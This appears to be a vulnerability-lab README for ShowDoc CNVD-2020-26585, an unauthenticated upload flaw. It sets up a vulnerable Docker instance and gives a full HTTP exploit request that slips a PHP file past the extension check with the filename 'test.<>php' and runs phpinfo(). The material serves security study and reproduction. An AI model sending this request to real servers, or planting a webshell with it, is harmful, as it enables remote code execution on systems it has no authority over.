Aaron
63285f61aa
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57 lines
1.7 KiB
Markdown
57 lines
1.7 KiB
Markdown
# ShowDoc Unauthenticated File Upload and Remote Code Execution (CNVD-2020-26585)
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[中文版本(Chinese version)](README.zh-cn.md)
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ShowDoc is a tool greatly applicable for an IT team to share documents online. It can promote communication efficiency between members of a team.
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ShowDoc version before 2.8.7, an unrestricted and unauthenticated file upload issue is found and attacker is able to upload a webshell and execute arbitrary code on server.
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References:
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- <https://github.com/star7th/showdoc/pull/1059>
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- <https://github.com/star7th/showdoc/commit/fb77dd4db88dc23f5e570fc95919ee882aca520a>
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- <https://github.com/star7th/showdoc/commit/e1cd02a3f98bb227c0599e7fa6b803ab1097597f>
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## Vulnerable environment
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Execute following command to start a ShowDoc server 2.8.2:
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```
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docker compose up -d
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```
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After the server is started, browse `http://your-ip:8080` to see the index page of ShowDoc.
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## Exploit
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Simply send following request to upload a PHP file:
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```
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POST /index.php?s=/home/page/uploadImg HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
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Content-Length: 213
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------WebKitFormBoundary0RdOKBR8AmAxfRyl
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Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
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Content-Type: text/plain
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<?=phpinfo();?>
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------WebKitFormBoundary0RdOKBR8AmAxfRyl--
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```
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PHP file address will be respond:
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`phpinfo()` is executed successfully:
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